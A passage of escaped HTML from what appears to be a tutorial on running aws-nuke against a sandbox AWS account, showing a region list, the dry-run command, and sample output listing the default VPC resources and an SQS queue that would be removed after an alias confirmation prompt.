#96D0FF\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI personally don't recommend targetting all AWS regions at the same time.  It\nwill generate a lot of output and be slow.  You could do it if necessary but\nmost people only have a few regions they use and so they can set those directly.\nFor example it, maybe you only use \u003ccode\u003eus-\u003c/code\u003e based regions?\u003c/p\u003e\n\u003cp\u003eSo lets run the dry-run and see what it wants to nuke:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws-nuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis should output something like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereally\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccount\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e777777777777\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ealias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'nuke-sandbox'?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtinue?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccount\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ealias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtinue.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e nuke-sandbox\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0cd9975a443a6304b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0be39d02e399a371c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-02d7017bd4730ea63\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0ec04b28c32708ab2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0eea1b4be084840ed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-05a294cc04736012e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2RouteTable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ertb-0abda0e94015064ca\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esgr-0368525f77bf566ac\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esgr-0890a837ed6148729\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2InternetGatewayAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eigw-0acfb474f1fd71375\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evpc-0be5d310ab44c239a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSQSQueue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://sqs.us-east-1.amazonaws.com/777777777777/example-sqs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 